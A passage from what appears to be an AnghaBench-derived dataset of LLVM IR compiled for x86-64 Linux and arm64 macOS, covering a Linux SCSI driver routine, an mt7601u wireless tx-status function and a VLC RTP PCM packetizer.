%22 = load i64, ptr %21, align 8, !tbaa !21
%23 = getelementptr inbounds i8, ptr %6, i64 24
store i64 %22, ptr %23, align 8, !tbaa !22
%24 = getelementptr inbounds i8, ptr %6, i64 16
store i64 %22, ptr %24, align 8, !tbaa !23
%25 = getelementptr inbounds i8, ptr %13, i64 16
%26 = load i64, ptr %25, align 8, !tbaa !24
%27 = getelementptr inbounds i8, ptr %6, i64 8
store i64 %26, ptr %27, align 8, !tbaa !25
%28 = getelementptr inbounds i8, ptr %13, i64 8
%29 = getelementptr inbounds i8, ptr %6, i64 4
%30 = load <2 x i32>, ptr %28, align 8, !tbaa !6
%31 = shufflevector <2 x i32> %30, <2 x i32> poison, <2 x i32> <i32 1, i32 0>
store <2 x i32> %31, ptr %6, align 8, !tbaa !6
%32 = getelementptr inbounds i8, ptr %13, i64 4
%33 = tail call i32 @spin_lock_init(ptr noundef nonnull %32) #2
%34 = load i32, ptr %13, align 8, !tbaa !26
%35 = load i64, ptr %24, align 8, !tbaa !23
%36 = load i64, ptr %27, align 8, !tbaa !25
%37 = add i64 %35, -1
%38 = add i64 %37, %36
%39 = load i32, ptr %29, align 4, !tbaa !27
%40 = load i32, ptr %6, align 8, !tbaa !28
%41 = tail call i32 @snprintf(i32 noundef %34, i32 noundef 4, ptr noundef nonnull @.str.3, i64 noundef %35, i64 noundef %38, i32 noundef %39, i32 noundef %40) #2
%42 = load i32, ptr %13, align 8, !tbaa !26
store i32 %42, ptr %0, align 4, !tbaa !29
br label %43
43: ; preds = %1, %8
%44 = phi ptr [ @.str.4, %8 ], [ @.str.1, %1 ]
%45 = load i32, ptr @NSP_DEBUG_INIT, align 4, !tbaa !6
%46 = tail call i32 (i32, ptr, ...) @nsp_dbg(i32 noundef %45, ptr noundef nonnull %44) #2
ret ptr %6
}
declare i32 @nsp_dbg(i32 noundef, ptr noundef, ...) local_unnamed_addr #1
declare ptr @scsi_host_alloc(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @memcpy(i64 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @spin_lock_init(ptr noundef) local_unnamed_addr #1
declare i32 @snprintf(i32 noundef, i32 noundef, ptr noundef, i64 noundef, i64 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 4}
!11 = !{!"scsi_host_template", !7, i64 0, !7, i64 4}
!12 = !{!13, !14, i64 32}
!13 = !{!"Scsi_Host", !7, i64 0, !7, i64 4, !14, i64 8, !14, i64 16, !14, i64 24, !14, i64 32}
!14 = !{!"long", !8, i64 0}
!15 = !{!16, !17, i64 40}
!16 = !{!"TYPE_6__", !7, i64 0, !7, i64 4, !7, i64 8, !7, i64 12, !14, i64 16, !14, i64 24, !14, i64 32, !17, i64 40}
!17 = !{!"any pointer", !8, i64 0}
!18 = !{!19, !17, i64 0}
!19 = !{!"TYPE_5__", !17, i64 0}
!20 = !{!16, !7, i64 12}
!21 = !{!16, !14, i64 24}
!22 = !{!13, !14, i64 24}
!23 = !{!13, !14, i64 16}
!24 = !{!16, !14, i64 16}
!25 = !{!13, !14, i64 8}
!26 = !{!16, !7, i64 0}
!27 = !{!13, !7, i64 4}
!28 = !{!13, !7, i64 0}
!29 = !{!11, !7, i64 0}
| linux_drivers_scsi_pcmcia_extr_nsp_cs.c_nsp_detect |
; ModuleID = 'AnghaBench/linux/drivers/net/wireless/mediatek/mt7601u/extr_mac.c_mt7601u_mac_fetch_tx_status.c'
source_filename = "AnghaBench/linux/drivers/net/wireless/mediatek/mt7601u/extr_mac.c_mt7601u_mac_fetch_tx_status.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.mt76_tx_status = type { i32, i32, i32, i32, ptr, ptr, ptr }
@MT_TX_STAT_FIFO = dso_local local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_VALID = dso_local local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_SUCCESS = dso_local local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_AGGR = dso_local local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_ACKREQ = dso_local local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_PID_TYPE = dso_local local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_WCID = dso_local local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_RATE = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local void @mt7601u_mac_fetch_tx_status(ptr dead_on_unwind noalias nocapture writable writeonly sret(%struct.mt76_tx_status) align 8 %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = load i32, ptr @MT_TX_STAT_FIFO, align 4, !tbaa !5
%4 = tail call i32 @mt7601u_rr(ptr noundef %1, i32 noundef %3) #2
%5 = load i32, ptr @MT_TX_STAT_FIFO_VALID, align 4, !tbaa !5
%6 = load i32, ptr @MT_TX_STAT_FIFO_SUCCESS, align 4, !tbaa !5
%7 = load i32, ptr @MT_TX_STAT_FIFO_AGGR, align 4, !tbaa !5
%8 = load i32, ptr @MT_TX_STAT_FIFO_ACKREQ, align 4, !tbaa !5
%9 = insertelement <4 x i32> poison, i32 %5, i64 0
%10 = insertelement <4 x i32> %9, i32 %6, i64 1
%11 = insertelement <4 x i32> %10, i32 %7, i64 2
%12 = insertelement <4 x i32> %11, i32 %8, i64 3
%13 = insertelement <4 x i32> poison, i32 %4, i64 0
%14 = shufflevector <4 x i32> %13, <4 x i32> poison, <4 x i32> zeroinitializer
%15 = and <4 x i32> %12, %14
%16 = icmp ne <4 x i32> %15, zeroinitializer
%17 = zext <4 x i1> %16 to <4 x i32>
store <4 x i32> %17, ptr %0, align 8, !tbaa !5
%18 = load i32, ptr @MT_TX_STAT_FIFO_PID_TYPE, align 4, !tbaa !5
%19 = tail call ptr @FIELD_GET(i32 noundef %18, i32 noundef %4) #2
%20 = getelementptr inbounds %struct.mt76_tx_status, ptr %0, i64 0, i32 6
store ptr %19, ptr %20, align 8, !tbaa !9
%21 = load i32, ptr @MT_TX_STAT_FIFO_WCID, align 4, !tbaa !5
%22 = tail call ptr @FIELD_GET(i32 noundef %21, i32 noundef %4) #2
%23 = getelementptr inbounds %struct.mt76_tx_status, ptr %0, i64 0, i32 5
store ptr %22, ptr %23, align 8, !tbaa !12
%24 = load i32, ptr @MT_TX_STAT_FIFO_RATE, align 4, !tbaa !5
%25 = tail call ptr @FIELD_GET(i32 noundef %24, i32 noundef %4) #2
%26 = getelementptr inbounds %struct.mt76_tx_status, ptr %0, i64 0, i32 4
store ptr %25, ptr %26, align 8, !tbaa !13
ret void
}
declare i32 @mt7601u_rr(ptr noundef, i32 noundef) local_unnamed_addr #1
declare ptr @FIELD_GET(i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !11, i64 32}
!10 = !{!"mt76_tx_status", !6, i64 0, !6, i64 4, !6, i64 8, !6, i64 12, !11, i64 16, !11, i64 24, !11, i64 32}
!11 = !{!"any pointer", !7, i64 0}
!12 = !{!10, !11, i64 24}
!13 = !{!10, !11, i64 16}
| ; ModuleID = 'AnghaBench/linux/drivers/net/wireless/mediatek/mt7601u/extr_mac.c_mt7601u_mac_fetch_tx_status.c'
source_filename = "AnghaBench/linux/drivers/net/wireless/mediatek/mt7601u/extr_mac.c_mt7601u_mac_fetch_tx_status.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.mt76_tx_status = type { i32, i32, i32, i32, ptr, ptr, ptr }
@MT_TX_STAT_FIFO = common local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_VALID = common local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_SUCCESS = common local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_AGGR = common local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_ACKREQ = common local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_PID_TYPE = common local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_WCID = common local_unnamed_addr global i32 0, align 4
@MT_TX_STAT_FIFO_RATE = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define void @mt7601u_mac_fetch_tx_status(ptr dead_on_unwind noalias nocapture writable writeonly sret(%struct.mt76_tx_status) align 8 %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = load i32, ptr @MT_TX_STAT_FIFO, align 4, !tbaa !6
%4 = tail call i32 @mt7601u_rr(ptr noundef %1, i32 noundef %3) #2
%5 = load i32, ptr @MT_TX_STAT_FIFO_VALID, align 4, !tbaa !6
%6 = and i32 %5, %4
%7 = icmp ne i32 %6, 0
%8 = zext i1 %7 to i32
store i32 %8, ptr %0, align 8, !tbaa !10
%9 = load i32, ptr @MT_TX_STAT_FIFO_SUCCESS, align 4, !tbaa !6
%10 = and i32 %9, %4
%11 = icmp ne i32 %10, 0
%12 = zext i1 %11 to i32
%13 = getelementptr inbounds i8, ptr %0, i64 4
store i32 %12, ptr %13, align 4, !tbaa !13
%14 = load i32, ptr @MT_TX_STAT_FIFO_AGGR, align 4, !tbaa !6
%15 = and i32 %14, %4
%16 = icmp ne i32 %15, 0
%17 = zext i1 %16 to i32
%18 = getelementptr inbounds i8, ptr %0, i64 8
store i32 %17, ptr %18, align 8, !tbaa !14
%19 = load i32, ptr @MT_TX_STAT_FIFO_ACKREQ, align 4, !tbaa !6
%20 = and i32 %19, %4
%21 = icmp ne i32 %20, 0
%22 = zext i1 %21 to i32
%23 = getelementptr inbounds i8, ptr %0, i64 12
store i32 %22, ptr %23, align 4, !tbaa !15
%24 = load i32, ptr @MT_TX_STAT_FIFO_PID_TYPE, align 4, !tbaa !6
%25 = tail call ptr @FIELD_GET(i32 noundef %24, i32 noundef %4) #2
%26 = getelementptr inbounds i8, ptr %0, i64 32
store ptr %25, ptr %26, align 8, !tbaa !16
%27 = load i32, ptr @MT_TX_STAT_FIFO_WCID, align 4, !tbaa !6
%28 = tail call ptr @FIELD_GET(i32 noundef %27, i32 noundef %4) #2
%29 = getelementptr inbounds i8, ptr %0, i64 24
store ptr %28, ptr %29, align 8, !tbaa !17
%30 = load i32, ptr @MT_TX_STAT_FIFO_RATE, align 4, !tbaa !6
%31 = tail call ptr @FIELD_GET(i32 noundef %30, i32 noundef %4) #2
%32 = getelementptr inbounds i8, ptr %0, i64 16
store ptr %31, ptr %32, align 8, !tbaa !18
ret void
}
declare i32 @mt7601u_rr(ptr noundef, i32 noundef) local_unnamed_addr #1
declare ptr @FIELD_GET(i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 0}
!11 = !{!"mt76_tx_status", !7, i64 0, !7, i64 4, !7, i64 8, !7, i64 12, !12, i64 16, !12, i64 24, !12, i64 32}
!12 = !{!"any pointer", !8, i64 0}
!13 = !{!11, !7, i64 4}
!14 = !{!11, !7, i64 8}
!15 = !{!11, !7, i64 12}
!16 = !{!11, !12, i64 32}
!17 = !{!11, !12, i64 24}
!18 = !{!11, !12, i64 16}
| linux_drivers_net_wireless_mediatek_mt7601u_extr_mac.c_mt7601u_mac_fetch_tx_status |
; ModuleID = 'AnghaBench/vlc/modules/stream_out/extr_rtpfmt.c_rtp_packetize_pcm.c'
source_filename = "AnghaBench/vlc/modules/stream_out/extr_rtpfmt.c_rtp_packetize_pcm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_8__ = type { i32, i32, i32, i32, i32 }
@BLOCK_FLAG_DISCONTINUITY = dso_local local_unnamed_addr global i32 0, align 4
@VLC_ENOMEM = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @rtp_packetize_pcm], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @rtp_packetize_pcm(ptr noundef %0, ptr noundef %1) #0 {
%3 = tail call i32 @rtp_mtu(ptr noundef %0) #2
%4 = load i32, ptr %1, align 4, !tbaa !5
%5 = icmp ugt i32 %4, %3
br i1 %5, label %6, label %55
6: ; preds = %2
%7 = getelementptr inbounds %struct.TYPE_8__, ptr %1, i64 0, i32 1
%8 = getelementptr inbounds %struct.TYPE_8__, ptr %1, i64 0, i32 2
%9 = add i32 %3, 12
%10 = getelementptr inbounds %struct.TYPE_8__, ptr %1, i64 0, i32 3
%11 = getelementptr inbounds %struct.TYPE_8__, ptr %1, i64 0, i32 4
%12 = load i32, ptr %7, align 4, !tbaa !10
%13 = load i32, ptr %8, align 4, !tbaa !11
%14 = load i32, ptr @BLOCK_FLAG_DISCONTINUITY, align 4, !tbaa !12
br label %15
15: ; preds = %6, %28
%16 = phi i32 [ %14, %6 ], [ %50, %28 ]
%17 = phi i32 [ %13, %6 ], [ %53, %28 ]
%18 = phi i32 [ %12, %6 ], [ %49, %28 ]
%19 = phi i32 [ %4, %6 ], [ %45, %28 ]
%20 = tail call ptr @block_Alloc(i32 noundef %9) #2
%21 = icmp eq ptr %20, null
%22 = zext i1 %21 to i32
%23 = tail call i64 @unlikely(i32 noundef %22) #2
%24 = icmp eq i64 %23, 0
br i1 %24, label %28, label %25
25: ; preds = %15
%26 = tail call i32 @block_Release(ptr noundef nonnull %1) #2
%27 = load i32, ptr @VLC_ENOMEM, align 4, !tbaa !12
br label %57
28: ; preds = %15
%29 = and i32 %16, %17
%30 = icmp ne i32 %29, 0
%31 = zext i1 %30 to i32
%32 = mul i32 %18, %3
%33 = udiv i32 %32, %19
%34 = load i32, ptr %10, align 4, !tbaa !13
%35 = tail call i32 @rtp_packetize_common(ptr noundef %0, ptr noundef %20, i32 noundef %31, i32 noundef %34) #2
%36 = getelementptr inbounds %struct.TYPE_8__, ptr %20, i64 0, i32 4
%37 = load i32, ptr %36, align 4, !tbaa !14
%38 = add i32 %37, 12
%39 = load i32, ptr %11, align 4, !tbaa !14
%40 = tail call i32 @memcpy(i32 noundef %38, i32 noundef %39, i32 noundef %3) #2
%41 = tail call i32 @rtp_packetize_send(ptr noundef %0, ptr noundef %20) #2
%42 = load i32, ptr %11, align 4, !tbaa !14
%43 = add i32 %42, %3
store i32 %43, ptr %11, align 4, !tbaa !14
%44 = load i32, ptr %1, align 4, !tbaa !5
%45 = sub i32 %44, %3
store i32 %45, ptr %1, align 4, !tbaa !5
%46 = load i32, ptr %10, align 4, !tbaa !13
%47 = add i32 %46, %33
store i32 %47, ptr %10, align 4, !tbaa !13
%48 = load i32, ptr %7, align 4, !tbaa !10
%49 = sub i32 %48, %33
store i32 %49, ptr %7, align 4, !tbaa !10
%50 = load i32, ptr @BLOCK_FLAG_DISCONTINUITY, align 4, !tbaa !12
%51 = xor i32 %50, -1
%52 = load i32, ptr %8, align 4, !tbaa !11
%53 = and i32 %52, %51
store i32 %53, ptr %8, align 4, !tbaa !11
%54 = icmp ugt i32 %45, %3
br i1 %54, label %15, label %55, !llvm.loop !15
55: ; preds = %28, %2
%56 = tail call i32 @rtp_packetize_simple(ptr noundef %0, ptr noundef nonnull %1) #2
br label %57
57: ; preds = %25, %55
%58 = phi i32 [ %56, %55 ], [ %27, %25 ]
ret i32 %58
}
declare i32 @rtp_mtu(ptr noundef) local_unnamed_addr #1
declare ptr @block_Alloc(i32 noundef) local_unnamed_addr #1
declare i64 @unlikely(i32 noundef) local_unnamed_addr #1
declare i32 @block_Release(ptr noundef) local_unnamed_addr #1
declare i32 @rtp_packetize_common(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @memcpy(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @rtp_packetize_send(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @rtp_packetize_simple(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_8__", !7, i64 0, !7, i64 4, !7, i64 8, !7, i64 12, !7, i64 16}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!6, !7, i64 4}
!11 = !{!6, !7, i64 8}
!12 = !{!7, !7, i64 0}
!13 = !{!6, !7, i64 12}
!14 = !{!6, !7, i64 16}
!15 = distinct !{!15, !16}
!16 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/vlc/modules/stream_out/extr_rtpfmt.c_rtp_packetize_pcm.c'
source_filename = "AnghaBench/vlc/modules/stream_out/extr_rtpfmt.c_rtp_packetize_pcm.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@BLOCK_FLAG_DISCONTINUITY = common local_unnamed_addr global i32 0, align 4
@VLC_ENOMEM = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @rtp_packetize_pcm], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @rtp_packetize_pcm(ptr noundef %0, ptr noundef %1) #0 {
%3 = tail call i32 @rtp_mtu(ptr noundef %0) #2
%4 = load i32, ptr %1, align 4, !tbaa !6
%5 = icmp ugt i32 %4, %3
br i1 %5, label %6, label %55
6: ; preds = %2
%7 = getelementptr inbounds i8, ptr %1, i64 4
%8 = getelementptr inbounds i8, ptr %1, i64 8
%9 = add i32 %3, 12
%10 = getelementptr inbounds i8, ptr %1, i64 12
%11 = getelementptr inbounds i8, ptr %1, i64 16
%12 = load i32, ptr %7, align 4, !tbaa !11
%13 = load i32, ptr %8, align 4, !tbaa !12
%14 = load i32, ptr @BLOCK_FLAG_DISCONTINUITY, align 4, !tbaa !13
br label %15
15: ; preds = %6, %28
%16 = phi i32 [ %14, %6 ], [ %50, %28 ]
%17 = phi i32 [ %13, %6 ], [ %53, %28 ]
%18 = phi i32 [ %12, %6 ], [ %49, %28 ]
%19 = phi i32 [ %4, %6 ], [ %45, %28 ]
%20 = tail call ptr @block_Alloc(i32 noundef %9) #2
%21 = icmp eq ptr %20, null
%22 = zext i1 %21 to i32
%23 = tail call i64 @unlikely(i32 noundef %22) #2
%24 = icmp eq i64 %23, 0
br i1 %24, label %28, label %25
25: ; preds = %15
%26 = tail call i32 @block_Release(ptr noundef nonnull %1) #2
%27 = load i32, ptr @VLC_ENOMEM, align 4, !tbaa !13
br label %57
28: ; preds = %15
%29 = and i32 %16, %17
%30 = icmp ne i32 %29, 0
%31 = zext i1 %30 to i32
%32 = mul i32 %18, %3
%33 = udiv i32 %32, %19
%34 = load i32, ptr %10, align 4, !tbaa !14
%35 = tail call i32 @rtp_packetize_common(ptr noundef %0, ptr noundef %20, i32 noundef %31, i32 noundef %34) #2
%36 = getelementptr inbounds i8, ptr %20, i64 16
%37 = load i32, ptr %36, align 4, !tbaa !15
%38 = add i32 %37, 12
%39 = load i32, ptr %11, align 4, !tbaa !15
%40 = tail call i32 @memcpy(i32 noundef %38, i32 noundef %39, i32 noundef %3) #2
%41 = tail call i32 @rtp_packetize_send(ptr noundef %0, ptr noundef %20) #2
%42 = load i32, ptr %11, align 4, !tbaa !15
%43 = add i32 %42, %3
store i32 %43, ptr %11, align 4, !tbaa !15
%44 = load i32, ptr %1, align 4, !tbaa !6
%45 = sub i32 %44, %3
store i32 %45, ptr %1, align 4, !tbaa !6
%46 = load i32, ptr %10, align 4, !tbaa !14
%47 = add i32 %46, %33
store i32 %47, ptr %10, align 4, !tbaa !14
%48 = load i32, ptr %7, align 4, !tbaa !11
%49 = sub i32 %48, %33
store i32 %49, ptr %7, align 4, !tbaa !11
%50 = load i32, ptr @BLOCK_FLAG_DISCONTINUITY, align 4, !tbaa !13
%51 = xor i32 %50, -1
%52 = load i32, ptr %8, align 4, !tbaa !12
%53 = and i32 %52, %51
store i32 %53, ptr %8, align 4, !tbaa !12
%54 = icmp ugt i32 %45, %3
br i1 %54, label %15, label %55, !llvm.loop !16
55: ; preds = %28, %2
%56 = tail call i32 @rtp_packetize_simple(ptr noundef %0, ptr noundef nonnull %1) #2
br label %57
57: ; preds = %25, %55
%58 = phi i32 [ %56, %55 ], [ %27, %25 ]
ret i32 %58
}
declare i32 @rtp_mtu(ptr noundef) local_unnamed_addr #1
declare ptr @block_Alloc(i32 noundef) local_unnamed_addr #1
declare i64 @unlikely(i32 noundef) local_unnamed_addr #1
declare i32 @block_Release(ptr noundef) local_unnamed_addr #1
declare i32 @rtp_packetize_common(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @memcpy(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @rtp_packetize_send(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @rtp_packetize_simple(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_8__", !8, i64 0, !8, i64 4, !8, i64 8, !8, i64 12, !8, i64 16}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!7, !8, i64 4}
!12 = !{!7, !8, i64 8}
!13 = !{!8, !8, i64 0}
!14 = !{!7, !8, i64 12}
!15 = !{!7, !8, i64 16}
!16 = distinct !{!16, !17}
!17 = !{!"llvm.loop.mustprogress"}
| vlc_modules_stream_out_extr_rtpfmt.c_rtp_packetize_pcm |
; ModuleID = 'AnghaBench/freebsd/contrib/binutils/binutils/extr_resrc.c_define_bitmap_rcdata.c'
source_filename = "AnghaBench/freebsd/contrib/binutils/binutils/extr_resrc.c_define_bitmap_rcdata.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_9__ = type { %struct.TYPE_10__, %struct.TYPE_8__, i32 }
%struct.TYPE_10__ = type { i32 }
%struct.TYPE_8__ = type { %struct.TYPE_7__ }
%struct.TYPE_7__ = type { ptr, i32 }
@resources = dso_local global i32 0, align 4
@RT_BITMAP = dso_local local_unnamed_addr global i32 0, align 4
@RES_TYPE_BITMAP = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @define_bitmap_rcdata], section "llvm.metadata"
